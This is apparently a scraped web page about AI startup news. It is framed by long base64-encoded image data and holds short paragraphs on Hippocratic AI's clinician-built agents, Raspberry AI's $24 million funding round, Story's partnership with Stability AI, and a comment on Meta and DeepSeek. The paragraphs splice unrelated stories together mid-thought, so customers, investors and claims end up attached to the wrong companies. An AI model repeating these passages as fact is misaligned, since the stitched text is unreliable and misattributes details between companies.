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" width="303px" alt="a16z generative ai"/></p>
<p><p>Once the AI agent is up and running, the clinicians who created it will be able to claim a share of the revenue it generates from the startup’s customers. Currently the technology is being used by Under Armour, MCM Worldwide, Gruppo Teddy and Li &amp; Fung to create and iterate apparel, footwear and accessories styles. The company’s existing investors Greycroft, Correlation Ventures and MVP Ventures also joined in the round, along with notable angel investors, including Gokul Rajaram and Ken Pilot. Clearly, even as he espouses a commitment to open source AI, Zuck is not convinced that DeepSeek’s approach of optimizing for efficiency while leveraging far fewer GPUs than major labs is the right one for Meta, or for the future of AI.</p>
</p>
<p><h2>Raspberry AI secures 24 million US dollars in funding round</h2>
</p>
<p><p>Story is the world’s intellectual property blockchain, transforming IP into networks that transcend mediums and platforms, unleashing global creativity and liquidity. By integrating Stability AI’s advanced models, Story is taking a significant step toward building a fair and sustainable internet for creators and developers in the age of generative AI. Hippocratic AI said it’s necessary to have clinicians onboard because they have, over the course of their careers, developed deep expertise in their respective fields, as well as the practical insights to help cure specific medical conditions and the clinical workflows involved.</p>
</p>
<p><h3>Investing in Raspberry AI &#8211; Andreessen Horowitz</h3>
<p>Investing in Raspberry AI.</p>
<p>Posted: Mon, 13 Jan 2025 08:00:00 GMT [<a href='https://news.google.com/rss/articles/CBMiZ0FVX3lxTE1wRXhnSzlxU0FQNG9oS0FUb25LZ0Z3cHJTbzVDSUVSTnNkckNrTGFnU1UxOHY5dlRNd3lOZ3FaaFBqSUczNjdjdVN6RGY0blNEZW8tbFVyYlRFWDN4ZmFsMngyM0FuTzg?oc=5' rel="nofollow">source</a>]</p>
</p>
<p><p>Story aims  to bridge this gap by combining Stability AI’s cutting-edge technology with blockchain’s ability to secure digital property rights. For example, creators could register unique styles or voices as intellectual property on Story with transparent usage terms. This would enable others to train and fine-tune AI models using this IP, ensuring that all contributors in the creative chain benefit when outputs are monetized.</p>
</p>
<p><h2>One click below supports our mission to provide free, deep, and relevant content.</h2>
</p>
<p><p>Holger Mueller of Constellation Research Inc. said Hippocratic AI  is bringing two of the leading technology trends to the healthcare industry, namely no-code or low-code software development and AI agents. The launch is a bold step forward in healthcare innovation, giving clinicians the opportunity to participate in the design of AI agents that can address various aspects of patient care. It says clinicians can create an AI agent prototype that specializes in their area of focus in less than 30 minutes, and around three to four hours to develop one that can be tested. Shah said the last nine months since the company’s previous $50 million funding round have seen it make tremendous progress. During that time, it has received its first U.S. patents, fully evaluated and verified the safety of its first AI healthcare agents, and signed contracts with 23 health systems, payers and pharma clients.</p>
</p>
<p><img decoding="async" class='aligncenter' style='display: block;margin-left:auto;margin-right:auto;' src="data:image/jpeg;base64,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